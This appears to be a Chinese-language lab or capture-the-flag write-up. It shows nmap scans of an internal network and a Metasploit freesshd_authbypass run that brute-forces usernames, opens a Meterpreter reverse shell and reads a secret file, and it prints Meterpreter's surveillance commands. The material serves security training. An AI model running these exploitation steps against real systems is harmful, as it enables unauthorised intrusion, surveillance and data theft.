SRVPORT 8080 yes The local port to listen on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thr
ead, process, none)
LHOST 192.168.18.192 yes The listen address (an interface may b
e specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 PowerShell
View the full module info with the info, or info -d command.
msf6 exploit(windows/ssh/freesshd_authbypass) > set lhost 192.168.200.3
lhost => 192.168.200.3
msf6 exploit(windows/ssh/freesshd_authbypass) > set rhosts 172.16.19.2
rhosts => 172.16.19.2
msf6 exploit(windows/ssh/freesshd_authbypass) > set rport 45
rport => 45
msf6 exploit(windows/ssh/freesshd_authbypass) > run
[*] Started reverse TCP handler on 192.168.200.3:4444
[*] 172.16.19.2:45 - Trying username '4Dgifts'
[*] 172.16.19.2:45 - Trying username 'abrt'
[*] 172.16.19.2:45 - Trying username 'adm'
[*] 172.16.19.2:45 - Trying username 'admin'
[*] 172.16.19.2:45 - Trying username 'administrator'
[*] 172.16.19.2:45 - Trying username 'anon'
[*] 172.16.19.2:45 - Trying username '_apt'
[*] 172.16.19.2:45 - Trying username 'arpwatch'
[*] 172.16.19.2:45 - Trying username 'auditor'
[*] 172.16.19.2:45 - Trying username 'avahi'
[*] 172.16.19.2:45 - Trying username 'avahi-autoipd'
[*] 172.16.19.2:45 - Trying username 'backup'
[*] 172.16.19.2:45 - Trying username 'bbs'
[*] 172.16.19.2:45 - Trying username 'beef-xss'
[*] 172.16.19.2:45 - Trying username 'bin'
[*] 172.16.19.2:45 - Trying username 'bitnami'
[*] 172.16.19.2:45 - Trying username 'checkfs'
[*] 172.16.19.2:45 - Trying username 'checkfsys'
[*] 172.16.19.2:45 - Trying username 'checksys'
[*] 172.16.19.2:45 - Trying username 'chronos'
[*] 172.16.19.2:45 - Trying username 'chrony'
[*] 172.16.19.2:45 - Trying username 'cmwlogin'
[*] 172.16.19.2:45 - Trying username 'cockpit-ws'
[*] 172.16.19.2:45 - Trying username 'colord'
[*] 172.16.19.2:45 - Trying username 'couchdb'
[*] 172.16.19.2:45 - Trying username 'cups-pk-helper'
[*] 172.16.19.2:45 - Trying username 'daemon'
[*] 172.16.19.2:45 - Trying username 'dbadmin'
[*] 172.16.19.2:45 - Trying username 'dbus'
[*] 172.16.19.2:45 - Trying username 'Debian-exim'
[*] 172.16.19.2:45 - Trying username 'Debian-snmp'
[*] 172.16.19.2:45 - Trying username 'demo'
[*] 172.16.19.2:45 - Trying username 'demos'
[*] 172.16.19.2:45 - Trying username 'diag'
[*] 172.16.19.2:45 - Trying username 'distccd'
[*] 172.16.19.2:45 - Trying username 'dni'
[*] 172.16.19.2:45 - Trying username 'dnsmasq'
[*] 172.16.19.2:45 - Trying username 'dradis'
[*] 172.16.19.2:45 - Trying username 'EZsetup'
[*] 172.16.19.2:45 - Trying username 'fal'
[*] 172.16.19.2:45 - Trying username 'fax'
[*] 172.16.19.2:45 - Trying username 'ftp'
[*] 172.16.19.2:45 - Trying username 'games'
[*] 172.16.19.2:45 - Trying username 'gdm'
[*] 172.16.19.2:45 - Trying username 'geoclue'
[*] 172.16.19.2:45 - Trying username 'gnats'
[*] 172.16.19.2:45 - Trying username 'gnome-initial-setup'
[*] 172.16.19.2:45 - Trying username 'gopher'
[*] 172.16.19.2:45 - Trying username 'gropher'
[*] 172.16.19.2:45 - Trying username 'guest'
[*] 172.16.19.2:45 - Trying username 'haldaemon'
[*] 172.16.19.2:45 - Trying username 'halt'
[*] 172.16.19.2:45 - Trying username 'hplip'
[*] 172.16.19.2:45 - Trying username 'inetsim'
[*] 172.16.19.2:45 - Trying username 'informix'
[*] 172.16.19.2:45 - Trying username 'install'
[*] 172.16.19.2:45 - Trying username 'iodine'
[*] 172.16.19.2:45 - Trying username 'irc'
[*] 172.16.19.2:45 - Trying username 'jet'
[*] 172.16.19.2:45 - Trying username 'karaf'
[*] 172.16.19.2:45 - Trying username 'kernoops'
[*] 172.16.19.2:45 - Trying username 'king-phisher'
[*] 172.16.19.2:45 - Trying username 'landscape'
[*] 172.16.19.2:45 - Trying username 'libstoragemgmt'
[*] 172.16.19.2:45 - Trying username 'libuuid'
[*] 172.16.19.2:45 - Trying username 'lightdm'
[*] 172.16.19.2:45 - Trying username 'list'
[*] 172.16.19.2:45 - Trying username 'listen'
[*] 172.16.19.2:45 - Trying username 'lp'
[*] 172.16.19.2:45 - Trying username 'lpadm'
[*] 172.16.19.2:45 - Trying username 'lpadmin'
[*] 172.16.19.2:45 - Trying username 'lxd'
[*] 172.16.19.2:45 - Trying username 'lynx'
[*] 172.16.19.2:45 - Trying username 'mail'
[*] 172.16.19.2:45 - Trying username 'man'
[*] 172.16.19.2:45 - Trying username 'me'
[*] 172.16.19.2:45 - Trying username 'messagebus'
[*] 172.16.19.2:45 - Trying username 'miredo'
[*] 172.16.19.2:45 - Trying username 'mountfs'
[*] 172.16.19.2:45 - Trying username 'mountfsys'
[*] 172.16.19.2:45 - Trying username 'mountsys'
[*] 172.16.19.2:45 - Trying username 'mysql'
[*] 172.16.19.2:45 - Trying username 'news'
[*] 172.16.19.2:45 - Trying username 'noaccess'
[*] 172.16.19.2:45 - Trying username 'nobody'
[*] 172.16.19.2:45 - Executing payload via Powershell...
[*] Sending stage (175686 bytes) to 172.16.19.2
[*] Meterpreter session 1 opened (192.168.200.3:4444 -> 172.16.19.2:49233) at 20 23-02-26 01:53:57 -0500
經過爆破,知道username是nobody,第二小題也早就解開,是45 port。
第三小題:
meterpreter > search -f secret.txt
Found 1 result...
=================
Path Size (bytes) Modified (UTC)
---- ------------ --------------
c:\Users\arnold\Documents\secret.txt 7 2019-11-06 09:44:07 -0500
可以藉由?
指令,來了解可以用什麼指令操縱被入侵的電腦:
meterpreter > ?
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
detach Detach the meterpreter session (for http/https)
disable_unic Disables encoding of unicode strings
ode_encoding
enable_unico Enables encoding of unicode strings
de_encoding
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session
ssl_verify Modify the SSL certificate verification setting
transport Manage the transport mechanisms
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
del Delete the specified file
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcat Read the contents of a local file to the screen
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current pr
ocess
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target pro
cess
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyboard_sen Send keystrokes
d
keyevent Send key events
keyscan_dump Dump the keystroke buffer
keyscan_star Start capturing keystrokes
t
keyscan_stop Stop capturing keystrokes
mouse Send mouse events
screenshare Watch the remote user desktop in real time
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_strea Play a video stream from the specified webcam
m
Stdapi: Audio Output Commands
=============================
Command Description
------- -----------
play play a waveform audio file (.wav) on the target system
Priv: Elevate Commands
======================
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
------- -----------
timestomp Manipulate file MACE attributes
注意路徑不能只打一個反斜線,會被當成是其他東西:
meterpreter > cat c:\\Users\\arnold\\Documents\\secret.txt
Eur3K@!meterpreter >
也可以打shell
指令,直接用對方電腦的cmd:
meterpreter > shell
Process 3884 created.
Channel 2 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd /
cd /
C:\>dir /s secret.txt
dir /s secret.txt
Volume in drive C has no label.
Volume Serial Number is 18FD-17B5
Directory of C:\Users\arnold\Documents
2019/11/06 ?? 10:44 7 secret.txt
1 File(s) 7 bytes
Total Files Listed:
1 File(s) 7 bytes
0 Dir(s) 122,211,835,904 bytes free
C:\>cd C:\Users\arnold\Documents
cd C:\Users\arnold\Documents
C:\Users\arnold\Documents>dir
dir
Volume in drive C has no label.
Volume Serial Number is 18FD-17B5
Directory of C:\Users\arnold\Documents
2019/11/06 ?? 10:43 <DIR> .
2019/11/06 ?? 10:43 <DIR> ..
2019/11/06 ?? 10:44 7 secret.txt
1 File(s) 7 bytes
2 Dir(s) 122,211,835,904 bytes free
C:\Users\arnold\Documents>type secret.txt
type secret.txt
Eur3K@!
windows 的話查名稱是445 port。
PORT STATE SERVICE VERSION
445/tcp filtered microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 ...
2 61.64 ms 172.16.1.51
Nmap scan report for 172.16.1.67
Host is up (0.024s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 59.26 ms 192.168.200.1
2 65.18 ms 172.16.1.67
Nmap scan report for 172.16.1.87
Host is up (0.037s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2008 R2 (94%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (94%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (94%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (93%), Microsoft Windows Server 2008 R2 or Windows 8 (93%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (93%), Microsoft Windows 7 SP1 (93%), Microsoft Windows 7 or Windows Server 2008 R2 (93%), Microsoft Windows Server 2008 or 2008 Beta 3 (93%), Microsoft Windows Server 2008 R2 or Windows 8.1 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: SEH-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -2h40m01s, deviation: 4h37m07s, median: -2s
| smb2-time:
| date: 2023-02-25T11:05:28
|_ start_date: 2023-02-25T10:01:44
| smb-os-discovery:
| OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1
| Computer name: SEH-PC
| NetBIOS computer name: SEH-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-02-25T19:05:22+08:00
| smb2-security-mode:
| 210:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: SEH-PC, NetBIOS user: <unknown>, NetBIOS MAC: 00155d013683 (Microsoft)
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
- Hop 1 is the same as for 172.16.1.67
2 65.23 ms 172.16.1.87
Nmap scan report for 172.16.1.105
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2012 (94%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (94%), Microsoft Windows Server 2012 R2 (94%), Tomato 1.27 - 1.28 (Linux 2.4.20) (91%), Microsoft Windows Server 2008 R2 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (89%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (89%), Microsoft Windows 7 Professional (89%), Microsoft Windows Vista SP2 (89%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: WIN-FH0N2VGINDJ, NetBIOS user: <unknown>, NetBIOS MAC: 00155d2de792 (Microsoft)
| smb2-time:
| date: 2023-02-25T11:05:40
|_ start_date: 2021-05-28T17:04:49
| smb2-security-mode:
| 302:
|_ Message signing enabled but not required
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -1s, deviation: 0s, median: -2s
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
- Hop 1 is the same as for 172.16.1.67
2 65.18 ms 172.16.1.105
Nmap scan report for 172.16.1.112
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2016 (94%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (89%), Microsoft Windows Server 2012 R2 (89%), Microsoft Windows 10 1607 (89%), Microsoft Windows Server 2012 (88%), Microsoft Windows Server 2008 R2 (88%), Microsoft Windows 7 Professional (86%), Microsoft Windows Server 2012 Data Center (85%), Tomato 1.27 - 1.28 (Linux 2.4.20) (85%), Microsoft Windows 10 1511 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
|_clock-skew: mean: -1s, deviation: 0s, median: -2s
| smb2-time:
| date: 2023-02-25T11:05:42
|_ start_date: 2022-10-15T07:48:25
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
- Hop 1 is the same as for 172.16.1.67
2 65.23 ms 172.16.1.112
Nmap scan report for 172.16.1.120
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
445/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2.0 (94%), Linux 3.11 - 4.1 (94%), Linux 4.4 (94%), Linux 3.10 - 3.16 (93%), Linux 3.16 (92%), Linux 3.13 (91%), Linux 3.18 (90%), Linux 4.0 (90%), Linux 3.10 - 3.12 (89%), Linux 3.10 - 4.11 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: FULECMS
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: FULECMS, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
|_clock-skew: mean: -2h39m59s, deviation: 4h37m03s, median: -2s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2023-02-25T11:05:28
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
| Computer name: fulecms
| NetBIOS computer name: FULECMS\x00
| Domain name: \x00
| FQDN: fulecms
|_ System time: 2023-02-25T19:05:29+08:00
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
- Hop 1 is the same as for 172.16.1.67
2 65.23 ms 172.16.1.120
Nmap scan report for 172.16.1.134
Host is up (0.032s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
- Hop 1 is the same as for 172.16.1.67
2 65.24 ms 172.16.1.134
Nmap scan report for hr.itop.com.tw (172.16.1.153)
Host is up (0.026s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 ...
2 65.25 ms hr.itop.com.tw (172.16.1.153)
Nmap scan report for 172.16.1.157
Host is up (0.030s latency).
PORT STATE SERVICE VERSION
445/tcp filtered microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 ...
2 58.92 ms 172.16.1.157
Nmap scan report for 172.16.1.191
Host is up (0.042s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Windows Server 2016 Datacenter 14393 microsoft-ds
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2016 (94%), Microsoft Windows 10 1607 (90%), Microsoft Windows Server 2012 (89%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (89%), Microsoft Windows Server 2012 R2 (89%), Microsoft Windows Server 2008 R2 (88%), Microsoft Windows 10 1511 - 1607 (86%), Microsoft Windows 7 Professional (86%), Microsoft Windows 7 SP1 (85%), Tomato 1.27 - 1.28 (Linux 2.4.20) (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-25T11:05:40
|_ start_date: 2023-02-25T10:01:56
|_clock-skew: mean: -2h39m56s, deviation: 4h36m59s, median: -1s
| smb-os-discovery:
| OS: Windows Server 2016 Datacenter 14393 (Windows Server 2016 Datacenter 6.3)
| Computer name: WinPower
| NetBIOS computer name: WINPOWER\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-02-25T19:05:37+08:00
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 ...
2 65.25 ms 172.16.1.191
Nmap scan report for 172.16.1.222
Host is up (0.033s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 ...
2 66.53 ms 172.16.1.222
Nmap scan report for 172.16.3.124
Host is up (0.048s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Windows Server 2016 Essentials 14393 microsoft-ds (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2016 (87%)
OS CPE: cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2016 (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: WIN-56MI46O6T68; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows Server 2016 Essentials 14393 (Windows Server 2016 Essentials 6.3)
| Computer name: WIN-56MI46O6T68
| NetBIOS computer name: WIN-56MI46O6T68\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-02-25T19:05:35+08:00
| smb2-time:
| date: 2023-02-25T11:05:33
|_ start_date: 2022-11-01T06:49:25
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -2h39m56s, deviation: 4h37m00s, median: -1s
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 ...
2 58.91 ms 172.16.3.124
Nmap scan report for 172.16.3.125
Host is up (0.024s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
- Hop 1 is the same as for 172.16.1.67
2 59.99 ms 172.16.3.125
Nmap scan report for 172.16.3.126
Host is up (0.033s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 ...
2 113.14 ms 172.16.3.126
Nmap scan report for 172.16.3.128
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 ...
2 113.12 ms 172.16.3.128
Nmap scan report for 172.16.5.1
Host is up (0.033s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds?
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|WAP
Running (JUST GUESSING): Microsoft Windows XP|2012|2016|7|2008 (86%), Linux 2.4.X|3.X (85%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:linux:linux_kernel:2.4.20 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_7 cpe:/o:linux:linux_kernel:3.18 cpe:/o:microsoft:windows_server_2008::beta3 cpe:/o:microsoft:windows_server_2008
Aggressive OS guesses: Microsoft Windows XP SP3 (86%), Tomato 1.27 - 1.28 (Linux 2.4.20) (85%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (85%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%), Microsoft Windows 7 (85%), Linux 3.18 (85%), Microsoft Windows Server 2008 or 2008 Beta 3 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
|_clock-skew: -1s
| smb2-time:
| date: 2023-02-25T11:05:24
|_ start_date: N/A
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
- Hop 1 is the same as for 172.16.1.67
2 113.07 ms 172.16.5.1
Nmap scan report for 172.16.19.2
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2008 R2 (94%), Microsoft Windows 7 SP1 (94%), Microsoft Windows 7 or Windows Server 2008 R2 (94%), Microsoft Windows Server 2008 or 2008 Beta 3 (94%), Microsoft Windows Server 2008 R2 or Windows 8.1 (94%), Microsoft Windows 7 (94%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (94%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (94%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (94%), Microsoft Windows Vista SP2 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: IRMA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 210:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-25T11:05:43
|_ start_date: 2021-05-22T09:26:30
|_nbstat: NetBIOS name: IRMA, NetBIOS user: <unknown>, NetBIOS MAC: 00155d2de7b6 (Microsoft)
|_clock-skew: mean: -2h39m54s, deviation: 4h36m55s, median: -2s
| smb-os-discovery:
| OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1
| Computer name: IRMA
| NetBIOS computer name: IRMA\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-02-25T19:05:43+08:00
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 ...
2 113.04 ms 172.16.19.2
Nmap scan report for 172.16.19.9
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2012 (94%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (94%), Microsoft Windows Server 2012 R2 (94%), Tomato 1.27 - 1.28 (Linux 2.4.20) (91%), Microsoft Windows 7 Professional (90%), Microsoft Windows Server 2008 R2 (90%), Microsoft Windows Server 2012 Data Center (90%), Microsoft Windows 7 SP1 (90%), Microsoft Windows 7 or Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 or 2008 Beta 3 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: FRANKLIN, NetBIOS user: <unknown>, NetBIOS MAC: 00155d013681 (Microsoft)
| smb2-security-mode:
| 302:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-25T11:05:43
|_ start_date: 2023-02-25T10:01:49
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 ...
2 113.01 ms 172.16.19.9
Nmap scan report for 172.16.20.3
Host is up (0.029s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 ...
2 112.98 ms 172.16.20.3
Nmap scan report for 172.16.20.6
Host is up (0.030s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
- Hop 1 is the same as for 172.16.1.67
2 112.95 ms 172.16.20.6
Nmap scan report for 172.16.20.7
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 ...
2 112.91 ms 172.16.20.7
Post-scan script results:
| clock-skew:
| -1s:
| 172.16.5.1
| 172.16.1.191
| 172.16.19.9
| 172.16.3.124
| -2h39m54s:
| 172.16.19.2
| 172.16.1.87
| 172.16.1.120
| 172.16.1.112
|_ 172.16.1.105
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 5120 IP addresses (21 hosts up) scanned in 108.37 seconds
這裡節錄第一小題答案:
Nmap scan report for 172.16.19.2
Service Info: Host: IRMA;
第二小題:
┌──(kali㉿kali)-[~]
└─$ sudo nmap 172.16.19.2
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-25 06:24 EST
Nmap scan report for 172.16.19.2
Host is up (0.027s latency).
Not shown: 990 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5357/tcp open wsdapi
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49158/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds
以上沒帶參數,會掃最常見1000個port。如果帶-F
參數,則是最常見10個。而剛剛的題目如果帶-F
參數,會少掉49158 port沒掃到。
┌──(kali㉿kali)-[~]
└─$ sudo nmap 172.16.19.2 -p-
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-25 06:41 EST
Nmap scan report for 172.16.19.2
Host is up (0.058s latency).
Not shown: 65524 closed tcp ports (reset)
PORT STATE SERVICE
45/tcp open mpm
